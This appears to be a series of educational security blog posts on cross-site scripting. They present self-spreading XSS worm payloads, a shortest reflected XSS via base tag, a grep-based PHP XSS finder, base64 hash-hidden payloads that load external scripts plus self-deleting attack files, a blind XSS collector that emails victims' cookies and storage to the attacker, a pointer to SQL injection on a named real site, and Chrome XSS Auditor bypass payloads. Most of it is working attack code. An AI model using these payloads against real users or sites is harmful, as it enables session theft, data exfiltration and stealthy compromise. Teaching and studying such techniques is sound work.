The Genesis of an XSS Worm – Part II

If you missed, part I of this series is here.

In order to understand our XSS worm in action, we will first see its spreading environment, a very simple social network. XSSbook, as we will call it, is basically the product of a database with just 3 tables:

genesis-xss-worm-part2-1

Let’s see what we have into each one.

genesis-xss-worm-part2-2

Table “users” has the profile of users of the system, with their identification number (id), user to login (user), their name (name), password in MD5 format (pass), email (email) and a field to talk shortly about themselves (about).

Table “posts” stores their posts with date and time, using their ids in the user_id field.

Lastly, table “follows” keeps the relationship between users by means of their ids to define who is following who: in the context of application this means which posts will appear in user’s timeline.

For the interface, a set of  PHP scripts to handle the session, user input and database queries on each feature are enough to make this work.

genesis-xss-worm-part2-4

The greatest challenge now is how to populate the database with fake data as closer as possible to a real world social network. For this, we will make use of bash scripts to generate data files to import into XSSbook. We will also try to follow the power law to reflect what happens with thousands of users connections.

In the next post we will see our XSS worm spreading across this populated database.

genesis-xss-worm-part2-3

#hack2learn

The Genesis of an XSS Worm – Part I

The greatest danger of a cross-site scripting (XSS) vulnerability is the possibility of spreading from user to user of an application until the whole user system get infected. Such code capable of doing that is what we call an XSS worm.

In order to better understand how this digital creature works, we will start a brand new journey into the mechanics of the self replicating code needed to make this danger exist.

As always, for didactic purposes, we will keep it simple as possible making use of the essential things only. So we will avoid the use of XHR and similar javascript proceedings, better suited for more complex applications which is not our goal.

Let’s see the simplest case of self replicating XSS, a reflected one. The code below is only the needed to replicate itself.

<a href target=_blank>click</a>

It simply injects a link which will open the current page with the same injection in another browser tab.

genesis-xss-worm-1.1

Try it here.

Now let’s see a more elaborate one. This page is meant to be used to post comments and it’s vulnerable to stored XSS.

If we use the following code as comment:

<form method=post onclick=elements[0].value=outerHTML;submit()>
<input type=hidden name=comment>click me!</form>

We will be able to make a copy of the injected code every time someone click on “click me!”.

genesis-xss-worm-2

That injection is a form, allowing us to submit content using the POST HTTP method (method=post). When clicked (onclick) it will take the 1st element of the form (elements[0]) which is <input> and set its value to the outerHTML property of the form. This property returns all between <form> and </form>, included. After, the form is submitted (submit()). The input tag contains the string to be clicked (click me!) and the name of the POSTed variable (comment).

For a vector with less user interaction, we can use the event handler onmouseover or similar with CSS tricks to increase the likelihood of triggering to almost automatic.

Although useful, the form tag is unlikely to be allowed in a comment box. The reflected one is much more likely, but not that dangerous. So we will make use of both, combined.

The following code uses a reflected XSS to store a link pointing to itself, so it can spread by means of another user:

<form method=post action="//brutelogic.com.br/tests/comments.php"
onclick="elements[0].value='<a/href='%2BURL%2B'>link</a>';submit()">
<input type=hidden name=comment>click me!</form>

It works by making a POST request to the comments page (action attribute), like the previous stored example. But instead of using outerHTML to recreate itself in the comment, it creates an anchor (“<a/href=” and “>link</a>” parts) using the value of the current URL document property (URL). It does that by concatenating (%2B is “+” encoded) the tag to the property.

It’s worth to note that usually it’s possible to submit anchors in comments, filters don’t use to block them. All we need is the reflected vulnerability on the same site.

Try it here.

genesis-xss-worm-animated

In order to make the attack stealthy, without returning the user to comments page, we add an invisible iframe and point the form to it, with an extra “target=NAME” attribute:

<iframe style=display:none name=x></iframe>
<form method=post action="//brutelogic.com.br/tests/comments.php"
onclick="elements[0].value='<a/href='%2BURL%2B'>link</a>';submit()"
target=x><input type=hidden name=comment>click me!</form>

Open a tab with a clean comments page (drop comments) and try it here.

In the next part of this series, we will see an unique experiment: the spreading of an XSS worm among several users of a custom social network (a controlled environment) using this code.

#hack2learn

The Shortest Reflected XSS Attack Possible

How to achieve a full reflected XSS attack which includes the ability to run a complete script and not just an alert popup with the least amount of characters? Some people already tried to answer this question like in here and here.

As we may imagine it’s possible to have an URL parameter echoed in a source of a script:

<script src=“INPUT”></script>

which would make possible to launch a full XSS attack providing a source with a short domain like //14.rs (7 chars length). A variation decreases the injection to just 5 chars if double slashes are already in native code:

<script src=“//INPUT”></script>

However, both scenarios are very unlikely.

There’s another one with 5 chars, which is also very unlikely but doesn’t rely on such direct javascript execution. With luck, it may appear in the wild so it’s good to know the mechanics. Consider the following simplest page:

http://brutelogic.com.br/tests/short.php?q=brute

short-01

It uses the 0.0.0.0 IP address as the href of the anchor for demo purposes, so we can try it locally. In a real vulnerable page it would need to be a valid yet expired domain (broken link) able to be acquired, spoofed or even compromised. Of course, this alone isn’t enough to exploit the page which would invalidate our next step.

The injection is:

http://brutelogic.com.br/tests/short.php?q=<base

short-03

 

Which just inserts a <base tag before the <a one to hijack its href attribute (the acquired/spoofed domain). This sets the base URL of the document to something we control and then we just need a script in the page being called from a relative URL, which is not that difficult to find into a given page.

Now setting a web server or just a listener on port 80 to deliver our script is enough to pop the alert (or anything we want):

short-1

short-2

An useful dead link with the right conditions is really hard to find, but to deal with the alignment involving the injection and the anchor, the trick used here and probably some browser quirks may help.

Anyway, in the cases where only the 2nd condition (script from relative URL) is met, we can still use the <base tag but this time providing the href:

<base href=//0>

Which is a full XSS vector with IP in decimal for a local PoC with just 15 chars.

#hack2learn

P.S.: it’s possible to use a domain name with just 4 chars like t.co and even a host name with just 1 char (“a”, for example) in an intranet attack.

Looking for XSS in PHP Source Code

If we have the source code of a server side script, which is the case of open source software, we can find XSS vulnerabilities in an automated and much faster way. This white box approach is called static analysis and there’s a lot of tools available in the web for this task.

But following our philosophy “hack to learn”, we’ll see now a simple way to look for XSS in PHP source code by searching for common patterns. Built around grep, a bash utility, this short tool named XSSaminer is available here.

It starts with a check for script arguments:

xss-in-php-0-1

If the 1st command line argument ($1) is null (-z) then show the usage instructions using the $0 as the name of the script and terminates it. If not, just assign that argument to the “f” variable, needed for the main function.

xss-in-php-0-2

Next comes the declaration of our sources and sinks, with some incomplete strings because they will be used just for a match. Sinks use sources, so if one meets another (without taking sanitizing functions into consideration), we will have a dangerous reflection of user controlled input somewhere into the generated HTML.

The GET, POST and REQUEST global variables are an obvious source of trouble if used by these sinks. But the SERVER ones which are presented below, has some quirks. Let’s assume as input the URL below (with injection crafted to break out of HTML attributes):

http://domain/page.php/"><svg onload=alert(1)>

Although there are three SERVER sources in the list, four SERVER variables will be found by our script, returning the following:

$_SERVER[‘PHP_SELF’] – returns the current URL decoded
http://domain/page.php/"><svg onload=alert(1)>

$_SERVER[‘PATH_TRANSLATED’] – returns file path on the system
/var/www/html/page.php/"><svg onload=alert(1)>

$_SERVER[‘PATH_INFO’] – returns info between page name and query string (?)
/"><svg onload=alert(1)>

$_SERVER[‘REQUEST_URI’] – returns the current URL
http://domain/page.php/"><svg onload=alert(1)>

This last one, REQUEST_URI, doesn’t decode the URL special chars like double quotes (“) and less than sign (>), which is a problem since browsers make the request with these encoded. So, this variable will be only exploitable in a stored XSS scenario, intercepting and editing the browser request (or using another HTTP client) or if it’s decoded anywhere else in the PHP code before landing on a sink.

xss-in-php-0-3

The xssam() function is responsible for combining sources and sinks to find the direct occurrences in the first and second “for” loops. The “a” variable is used to get the name of a var that is receiving one of the dangerous global ones (sources), providing one level of variable tracking to the script by means of the third “for” loop.

xss-in-php-0-4

In the main code the script decides between a single file calling the xssam function or the recursive mode. This is done by using the folder provided in command line ($2) with the “-r” option (which takes the place of the file name) to feed the same function in another “for” loop.

Usage:

./xssaminer FILE (for single file)

./xssaminer -r FOLDER (recursive, all .php files within folder)

XSSaminer is aimed at low-hanging fruits and very prone to FPs (False Positives) but with so few LoC (Lines of Code) it is “cost effective” if you consider the LoC/results rate.

As an example of the tool, screenshots below show the results of it fired against an WordPress theme, Rational Lite:

xss-in-php-1

It finds 3 potential XSS in 2 different files, where in the 2nd one they are just FPs. However, the 1st one is confirmed:

xss-in-php-2

After tracking the vulnerable code snippet across the theme files, with the great help of my teammate @MarcS0h from Sucuri Security, we were able to pop an alert in an unauthenticated ajax action callback with the dismiss_id GET parameter:

xss-in-php-3

A 0-day was found.

#hack2learn

P.S.: Added a “?” to the list of sinks to check for things like “<?= $_GET[‘p’]; ?>” which is also a valid reflection.

Avoiding XSS Detection

As any XSSer (one that makes XSS) might know, the script tag is not always available to inject into a XSS hole because it’s the first thing that will be filtered by developer or an WAF (Web Application Firewall). Furthermore, the input may be restricted to only a few chars which makes impossible to put the following javascript code needed to call an external script, in an event handler for example:

with(document)body.appendChild(createElement('script')).src='//DOMAIN'

On the other hand, hiding the suspicious code from the victim is a prerogative for an attack with higher chances to succeed. Some techniques are needed to avoid been spotted, from victim to developer or admin investigation.

We will examine a reflected XSS scenario. Usually encoding the XSS vector is enough to hide it from user’s eyes, but to hide an attacker intention from server logs we need to jump to the hash part of URL:

<svg/onload=eval(location.hash.slice(1))>#with(document)
body.appendChild(createElement('script')).src='//DOMAIN'

The slice(1) function returns the location.hash string from the character at position 1 (# is the 0), which is evaluated by eval() function. Although all the code after # will never be sent to server, thus avoiding any logging, it’s clear that too much suspicious activity is being done here and an user may spot this.

But the worst part is that will not work, at least in Firefox, because the single quotes will be turned into %27 and eval() function will complain about it. We would need to add the decodeURI() function over the location.hash.slice(1), which could make our input larger and with the same user problem above.

So to avoid this, let’s make the hash part become a base64 string. But first, we need to solve the single quotes problem:

#with(document)body.appendChild(createElement
(/script/.source)).src=atob(/Ly9icnV0ZWxvZ2ljLmNvbS5ici8y/.source)

Using “//brutelogic.com.br/2” as the script, which just pops the document domain in an alert box, we get rid of the quotes with the “.source” regex trick in the createElement() function and with the atob() function to encode our source in base64 for the “src” value (along with the same “.source” trick).

Now we can encode in base64 the whole code after hash, which give us the following:

<svg/onload=eval(atob(location.hash.slice(1)))>
#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZW
F0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=

The last step is to get our input that will go to the server a little shorter: using the URL property of document, which is a string, we can set the starting point of it from the end using a negative value:

<svg/onload=eval(atob(URL.slice(-148)))>
#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZW
F0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=

It’s boring to double encode and calculate the length of the final base64 string, so I made a simple payload generator here.

hasher-1

The eval() function can also be replaced by setInterval() and setTimeout() functions in case of a blacklist. But the several ways to play with strings in javascript and ways of encoding the chars usually are enough to bypass most filters. There’s also the backticks option against parenthesis filtering as we can see here.

Even with our efforts, script code can still be discovered. To hide it, in server side, it’s possible to use obfuscators like this one. But it can be reversed, so if we really want to not let anyone know what’s happened to the victim it’s better to self delete the file from server after the targeted attack.

selfdel

Proof of Concept (PoC) code is here and it works similarly to this: rename it to index.php and put it in a web server folder. But be sure to have it writable by the web server user and save a copy for replacement after deleting.

#hack2learn

Blind XSS Code

There are situations where an injection traverses profile areas, services and even network boundaries usually by means of a database storage of user controlled input (stored XSS). But when a tester or attacker is not able to see his/her injection working using regular ways and/or the inner workings of the affected software is not known, a different kind of probing is needed to spot the vulnerability. This is usually the case of vulnerable code in unreachable environments, like an intranet.

A simple code to grab remote info from a victim which triggers a blind XSS and emailed them to a tester/attacker is here. It needs to be renamed to index.php and have the email data “myName@myDomain” and “report@myDomain” correctly replaced by tester/attacker own settings. It also needs a SMTP server installed and configured in the system. This and this will help if you’re doing it from scratch.

blind-xss-0

That code is a PHP file that is used both as a source of the injected script and as a mailer. Placed in the web root of a domain, it’s just needed to include it in a payload with:

<script src=//DOMAIN/></script>

When calling the script, the browser makes a GET request to index.php (which is the folder’s default file) and receives plain text to execute. It grabs the victim’s data, from it’s IP to the full DOM of the page where it was executed. After, it makes a XHR POST request to itself with this data allowed by the CORS header Access-Control-Allow-Origin, populated with the origin provided by the javascript code:

blind-xss-1

This time it’s the PHP code that will handle the POST request, creating the report with the info grabbed by both javascript and PHP code and emailing it to the tester/attacker:

blind-xss-2

Which looks like:

blind-xss-3-1

The following info is present in the report.

  • IP address: address of the victim’s browser (requester) and proxy (forwarded for).
  • User agent: browser of the victim.
  • Target URL: where the victim executed the payload.
  • Referrer URL: the previous page from where the victim came.
  • Readable cookies: all victim’s non http-only cookies.
  • Session storage: data stored by browser for duration of the victim’s session in JSON format.
  • Local storage: data stored by browser for beyond the duration of the victim’s session in JSON format.
  • Full document: the DOM of the target URL.

#hack2learn

XSS and RCE

RCE (Remote Code Execution) is a critical vulnerability which usually is the final goal of an attack. With code execution, it’s possible to compromise servers, clients and entire networks. XSS, as many other vulnerabilities, is a step towards to it, even if  people usually don’t think about XSS in this way.

But far from being a roughly coverage on this subject, this post would not be complete without taking in consideration the 2 possible scenarios regarding these: XSS to RCE and XSS from RCE. Although we may see an escalation from a XSS to a RCE as a logical step, it’s also possible to consider a RCE being used to XSS. It would be pointless to use the same domain for such thing, so we will see a different procedure.

XSS to RCE

Leveraging a XSS to RCE usually is done with the compromise of an admin account of the target website, using CSRF to make requests in his behalf. Admins use to have upload capabilities via HTTP in their administration dashboard so it’s pretty straightforward to make him upload a webshell and achieve our RCE goal. After an admin session is stolen (or a new admin is created), an attacker can also perform manually the steps needed if he/she wants.

There are some other types of compromise using XSS, abusing server side javascript and embedded browser engines in mobile apps as we can see in the links below:

XSS to RCE in …

XSS to RCE in Atlassian Hipchat

ColdFusion Bomb: A Chain Reaction From XSS to RCE

XSS from RCE

Third party includes just enlarge the attack surface of a given website. So, from a security perspective, the security of a system equals the security of the weaker link on its trust chain. In a case of a website, included scripts from external sources give an attacker a way to achieve a stealthy stored XSS if he/she is able to takeover one of the domains being called in background by the target.

Usually these scripts are hosted in a CDN (Content Delivery Network), which has a dedicated server to provide static content to thousands of websites. But a good assessment has to take all loaded scripts in consideration, in the hope of finding a potential third-party compromise. The level of difficulty may vary from medium to very hard, but the reward will be a complete indirect control of the target website.

Let’s see a live example. The domain globo.com is one of the most visited in Brazil and worldwide:

rce2xss-0

Its request map is here.

After loading the website and checking its js calls with browser console (F12), we are able to see the following:

rce2xss-1

After checking the subdomain ivccftag.ivcbrasil.org.br, which is being called from globo.com, we have nothing obvious to work with (it’s static). But after playing a little with the main domain ivcbrasil.org.br:

rce2xss-2

A SQL injection, a critical vulnerability that can lead to a full server compromise is present. For legal reasons, we can’t go further without explicit authorization. Although not the domain included on globo.com, it’s not that difficulty to imagine how far we can go to increase the chances to compromise the desired subdomain and include our code in the middle of the served javascript file (ivc.js) to globo.com.

To see it working without actually having to compromise anything, just append the respective line to your hosts file

rce2xss-5

And create a file named ivc.js in your web root folder with alert(document.domain) as content. A popup will appear:

rce2xss-3

#hack2learn

CORS Enabled XSS

Misconfigured CORS (Cross Origin Resource Sharing) headers can’t be abused to trigger javascript in a target website. But there’s an interesting and useful way to use it in an existing XSS scenario.

One page websites, by their very nature, make heavy use of javascript. They load content using AJAX requests without the need to change the current page, hence the name.

A very simple and dirty example of such website is here.

The page name loaded into main one appears after the hash part of URL. Since a XHR call is made, an attacker is tempted to abuse it by inserting an external site to include its content in the context of the page:

http://brutelogic.com.br/tests/cors/#//google.com

Due to SOP (Same Origin Policy) the XHR call fails (red message in console below), which would be the expected outcome by an unwary developer.

cors-1

To bypass this, it’s just a matter of allowing the request in the attacker’s side. The following PHP file, which contains a CORS header allowing the remote XHR call is enough to render the XSS payload included on it.

<?php header(“Access-Control-Allow-Origin: *”); ?>
<img src=1 onerror=alert(document.domain)>

cors-2

It’s also possible to exploit this page with a simpler:

#data:text/html,<img src=1 onerror=alert(document.domain)

But unlike the CORS trick, it will not work on Microsoft browsers (access is denied).

cors-3.1

#hack2learn

Chrome XSS Bypass

Intro

If you ever tried to XSS something using the Google Chrome browser you have noticed that it usually doesn’t work. This is due to a native filter named XSS Auditor.

auditor-red-flag
Google Chrome’s Auditor red flagging a XSS attempt.

Over the years, this built-in feature has evolved and get stronger with several bypasses found by the infosec (information security) community. But it has some limitations, the ones we will explore in this post.

We will not deal with pure javascript injections like ’-alert(1)-‘ or DOM-based XSS: Auditor can’t catch these things. What Auditor does is evaluate a full code expression in the response when it’s not seen in the request, so pieces of javascript code attached to existing code or not seen in the response (DOM-based injections) cause filter failure.

We are interested here in common yet simpler real world scenarios, where we can find a XSS flaw outside a javascript block and craft a payload to work into Google Chrome. According to this, Google Chrome users are about 50% of all desktop users worldwide, making a working XSS in Chrome increase the attack surface in more than 100% even if a XSS works in all other browsers combined.

browser-stats-03-2016
Browser usage statistics according to W3Counter in march of 2016.

chrome-version-50

 

It’s important to note that all things here are meant to work in the latest browser version until date (50) and these may not work in future versions.

 

Inline Injection

When injecting in some attribute of a tag (inline), if it’s possible to break out of it and inject another one, the following payload will run perfectly in Chrome:

"><script src=data:%26comma;alert(1)-"

Like in

<input value=“INPUT”>

which becomes

<input value=“"><script src=data:%26comma;alert(1)-"”>

As long as there’s a closing script tag after it in the native code as we can see here.

Script uses the data URI scheme as its source without the need of specifying the content type (like in data:text/html,…) because the default text/plain is enough to run the javascript code. Also needed to encode the comma (%26comma;) for version 50. With the alert function “minus” an empty string (“”) being evaluated, but without Auditor seeing it fully in the request, it doesn’t get blocked.

Off Tag Injection

Like in the injection inside a tag, it’s also possible to XSS when input echoes out of it. We will use a classic example of a reflection in a message returned after a search query. But there are some requirements and cases to watch for:

1) Requirements

– A script block after injection: needed to close the actual payload;
– A double quote somewhere inside a tag after injection: needed to some variants.

For example, both requirements can be satisfied if there’s (but not limited to) any of the following in source code:

<script src=“URL”></script>
<script type=“text/javascript”></script>

2) Cases

Payload execution depends on which character comes right after injection, so here is a table with what is needed. The search TERM is where the injection reflects.

Char right after Example(s) Payload(s)
Space or
EOL (end of line)
Search for TERM returned 0 results.
Results for TERM
<script src="data:%26comma;alert(1)//
Double quote Search for “TERM” returned 0 results. <script src=data:%26comma;alert(1)//
Single quote Search for ‘TERM’ returned 0 results. <script src=data:%26comma;alert(1)//
<script src="data:%26comma;alert(1)//
Dot, comma, colon,
semicolon etc.
Results for TERM: <script src=data:%26comma;alert(1)%26sol;%26sol;
<script src="data:%26comma;alert(1)%26sol;%26sol;
Less than <span>Results for TERM</span> <script src=//domain%26sol;my.js%26num;
<script src="//domain%26sol;my.js%26num;
Greater than, question
mark or slash
Are you looking for TERM? NO BYPASS
FOUND

In the first 4 cases, the same principle as the inline injection above was used but this time using a double slash (//), one time in its HTML entity form (&sol;&sol; with “&” encoded to %26 in URL) to comment the rest of the javascript code left open. Similarly, the payload "><script src=data:%26comma;alert(1)// can also be used for inline injection.

In the 5th case (in blue), a very common one, the way found to execute javascript code without being catched by Auditor was by calling an external script. This was done using an encoded slash (%26sol;) and appending a hash (%26num;) in the end of URL to avoid requesting with the native code attached. It can be applied to all working cases of the table, respective to the quote presence. A live example is available here.

auditor-external-script

Conclusion

As we can see it covers most of the possible scenarios out there although being easy to get filtered by an application filter or WAF due to the script tag.

A live test page is available here. URL parameters q0 up to q6 are the respective inputs for each type and case of bypass explained above (check source code).

A big “thank you!” to @asdizzle_ for his precious contribution to this work.

#hack2learn

P.S. Another interesting trick (restricted to some pages) to bypass Chrome’s Auditor is available in my private twitter account @brutalsecrets: exclusive results of my XSS research including a simple yet effective tool to find XSS in the wild can also be found there.

P.S.2 When going to verison 50 (after draft of this post was ready to go) Chrome seemed to have these bypasses fixed, but (thanks again to @asdizzle_) a simple encoding of comma did the trick again.